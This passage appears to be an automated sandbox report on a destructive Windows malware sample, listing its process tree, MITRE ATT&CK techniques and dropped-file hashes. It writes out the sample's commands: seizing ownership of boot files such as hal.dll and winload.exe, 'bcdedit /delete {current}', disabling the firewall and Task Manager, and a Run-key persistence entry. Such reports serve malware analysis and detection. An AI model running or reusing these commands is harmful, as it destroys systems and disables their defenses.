        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:5304
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5908
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:5444
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:6184
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6220
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6232
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6308
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6364
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6408
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6448
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6480
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6528
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6556
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:6700
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:6872
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:6344
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Views/modifies file attributes
        
        PID:7388
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:5440
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\CE43.tmp\CE44.tmp\CE45.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:9628
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:9448
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:9644
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:9796
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:9968
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:2660
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\17BF.tmp\17C0.tmp\17C1.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:2636
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:9500
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8700
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:1988
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:10652
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:6060
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8389.tmp\838A.tmp\838B.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8184
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:5560
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:10860
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:10944
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:5420
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:1292
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3864
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4056
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:1568
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:1740
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8B24.tmp\8B25.tmp\8B26.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      Executes a command shell one-liner
      PID:1072
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        Executes a command shell one-liner
        
        PID:4948
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2440
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4212
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1676
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2632
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        Modifies file permissions
        
        PID:1184
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        
        PID:4872
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4044
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5296
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5572
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:5928
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6208
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:6384
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:6496
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6604
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6728
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6772
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6816
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6848
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6900
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6932
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6944
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6956
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6964
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:7060
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:6336
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Views/modifies file attributes
        
        PID:1812
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:8936
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\988D.tmp\988E.tmp\988F.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:1752
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:9152
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8268
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8648
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:2764
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:9360
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D49C.tmp\D49D.tmp\D49E.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:9836
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:9608
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:9744
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:9928
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:10140
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:6216
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\26F2.tmp\26F3.tmp\26F4.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:10408
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:8244
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:4836
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:6536
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:7160
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:8676
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\497E.tmp\497F.tmp\4980.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:11208
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:10264
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:10272
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:10280
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:10288
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:10300
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4670.tmp\4671.tmp\4672.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:11148
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:10308
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:10372
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:10380
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:10460
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:10472
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:10712
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:11160
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:8064
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:6324
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:11248
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2636
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4448
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:1176
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3188
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5048
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:836
- - C:\Windows\system32\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5048
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2876
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:1628
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:608
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3476

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x418 0x3e4
1⤵
PID:2228

C:\Windows\system32\ipconfig.exe
ipconfig /release
1⤵
- Gathers network information
PID:4276

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:3900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:4428

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:1192

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:2468

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:212

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4192

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5020

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7476

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7592

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5620

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5384

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7300

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9048

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9188

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8280

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:652

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9376

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9600

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9756

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5492

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6108

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:2500

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7204

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:11168

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10336

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5740

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5724

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:2444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

538C.bat

Path C:\Users\Admin\AppData\Local\Temp\538A.tmp\538B.tmp\538C.bat
Size 23KB
SHA256 f4381ce32da9cefe187c6c5f16afd266d65df265fa84aefaadabc170a0101bd8
MD5 0c22aea231dcfe15334b76c7dbb12af7
SHA1 2e5e4695770b9094fd5729eb38dd35c7f0923c90
SHA512 14e7f16f330da69c3e788d291386debe5ae546d5bd2145266abe58011bd2e26218acfb6ce3344739ff29e67f224b02fa90f1b14c63e4d9f28c50c0855ab6743a
SSDEEP 384:iOJWlo3yzLKRCPXPtTlcJdAbrM21q0j0L1qEzdQ8PigfwTxX8j2x:i8CPFTlcbAUAW17JQrgodXG2x
TLSH
T1F3B2F73B7BC5B6D28EF0162545DB3641FE66F93F14108D4F73A580F6A83E494B2282E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe

Path C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
Size 112KB
SHA256 9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb
MD5 f7319798850cc35b840799eedb2eca0b
SHA1 447fe1137f62ea4511d4fc6768802fb885b82b8d
SHA512 6819e7eeefce4765a37af4f665ee073f09e359df19dc1224ecce9e5866a22adcf7f032f3a3a4cf6c0016522f110ad68025364226c4a7d66c58471c8fed486c45
SSDEEP 3072:C7DhdC6kzWypvaQ0FxyNTBf5M/rtX79awF:CBlkZvaF4NTBBM/xJawF
TLSH
T112B39F41F3E242F7EAF1053100A6622F9736A2349764A8EBC74C3D529903AD4A77D3F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Advertencia.vbs

Path C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs
Size 63B
SHA256 1db6458800616839e864831147cc6d91845825e365925151f649b5d998152273
MD5 4cb4efde0d2476b32d5a347a52df6c1b
SHA1 d2b3d042dfc64cc15b41b83b6f0252497a515e95
SHA512 1a676aec628275f5812bc99f7055713986579304df42328559b7a0adeb99601a2a680144a0f3b1685a0126c034cbf9f75ac89cb5cd1c8ca87f7e68824771ebce
TLSH
T198A002C94EA983438AE630100C10759055542AE45195055E190DC477B148145F8A5672
MD5 SHA1 SHA512 TLSH

Submit Download

Autorun.inf

Path C:\Users\Admin\AppData\Local\Temp\Autorun.inf
Size 74B
SHA256 12a5135510016abcfe1192aceb6fec42634346661d778d68be1debaa3d75e967
MD5 b39df423c6e5978065a9a8ec4879a3b4
SHA1 96441a7a7d8090f7a96a1160f539531f66568e88
SHA512 2d583fcae1ec73f836c5b66b8b1337bb4250a8230073de96d501a4fab5f522b75599ac2a1fcf1457a841d8c84bcccb88feade82f49357b28345c63d9526cfeb4
TLSH
T1A6A002281F0A3587B523519B1BC3357986E2B433AC5442B6083F8BC9051D645193E8FB
MD5 SHA1 SHA512 TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 6KB
SHA256 cecd2dc1fbd2cb74e2f007a143329d581442d69c90b01c5a892265ff0dc22495
MD5 3c09dda05f6bf6ee6b2da20f48a64690
SHA1 d012c5fae46b4bb65a8f665525399776479b4420
SHA512 e9aa2bf307034b1382f968bb56e606462a65157aa443c130841d2b17f755dc80e9481db6bbc73f4df01b9b008622770f0a1c62281eb2ff6473fa877e2e83fdf1
SSDEEP 96:R2mjT4ZXFz1dPb19OBbjmb7TBErt0jVjpUaXWhEiJ0rwnmKpLANiGo6uLVpKRA:EzXFz1dPRSbjGCrtsjpUaGLJXVpKW
TLSH
T16EE1AFBDE10E6FDA1F285FC2A89C42069DC375571117F1B92AEC823F18C2138A35D4B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 14KB
SHA256 b9da7f848a953f0fcdd3430f97907c855eb22ca8336acb7f2b3c92551f9070ae
MD5 e9841c90b8efdfe12adb284675c29fed
SHA1 10f797135dcb84eee2aea29d4d0ad003bfa60152
SHA512 b63b7598aacd91d7798c9832a10815320a75d76dc550a79b0229e00d7fbddc4ac26f4b81afa5e459bf949b8a23c4036e5b8fe6078b9b66b90145f3985f94ef72
SSDEEP 192:EzXFz1dPRSbjGCrtsjpUaGLJXVpKWvtfj0Hr1TgZLxSayxldQ8PHC2XGNAwFtx4P:EJdAbrM21q0j0L1qEzdQ8PigfwTxX8j
TLSH
T1A962CEBDAA8B8BE64E215E86541D53415EC3F65B1023D391BF68503F388627CD34E4B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 2KB
SHA256 9d65e98a4f9149a338632633bf67aa70e3be692464167c33f10686476142ca39
MD5 79a57cf2f8a2d505d23ae5b031e34749
SHA1 ea80e0c55c6b080fbfeda2e5e13e008498010160
SHA512 0b0f8ed79dd773272e51d943f5be8c81ef7f474498d86436048f2588359a7ba24df52c677b734d63a7d4867a104730947f7b5d2444b3c7166112f1667b19d46c
TLSH
T16251293EC44DBBDD4F2919D7A0A4D3848C8AB92F4747D1686E4C83BB68D3974769C074
MD5 SHA1 SHA512 TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 3KB
SHA256 eb26e32260ab579d8ead384c389317b0e204fb0095e6e0917b9344a9983e397f
MD5 a794fc0b19e71e33f7d7cc6f4389dc36
SHA1 2b79bbe2c887e9b77b47a71ad4625d4ab250f50d
SHA512 a1032337842a362e651680f0fd1293ea2e2654d1ded418ff3b856e6db0d523bc4817312b5606bf8d08fae6e4f402520a429c6bb1b9f5779c016ae35163b2df36
TLSH
T16E815A7ED40CBFE95F2A918268E4534A8C86755F825AC1AD2E8C427F29C2034B39E075
MD5 SHA1 SHA512 TLSH

Submit Download

Bytebeat.Shingapi.tmp

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.Shingapi.tmp
Size 5KB
SHA256 6c673b440aa743d5f97f9c2d9f88b6aed564cbcc6faca566d9724c3836922604
MD5 afb2c523f4d57d1056a4c1ea11f52131
SHA1 e6432f1228c93a6ae1753afb0b3b4394ddd0f39f
SHA512 46874dbab254dbfbf0c3bb43353aae4474b88f6d9695ef9d09455ecebd30a067fa76c62ebd0ae443a3baf0d6fa68a9084b69c945ae67509225e64419c8f398b2
SSDEEP 96:R2mjT4ZXFz1dPb19OBbjmb7TBErt0jVjpUaXWhEiJ0rwnmKU:EzXFz1dPRSbjGCrtsjpUaGLJM
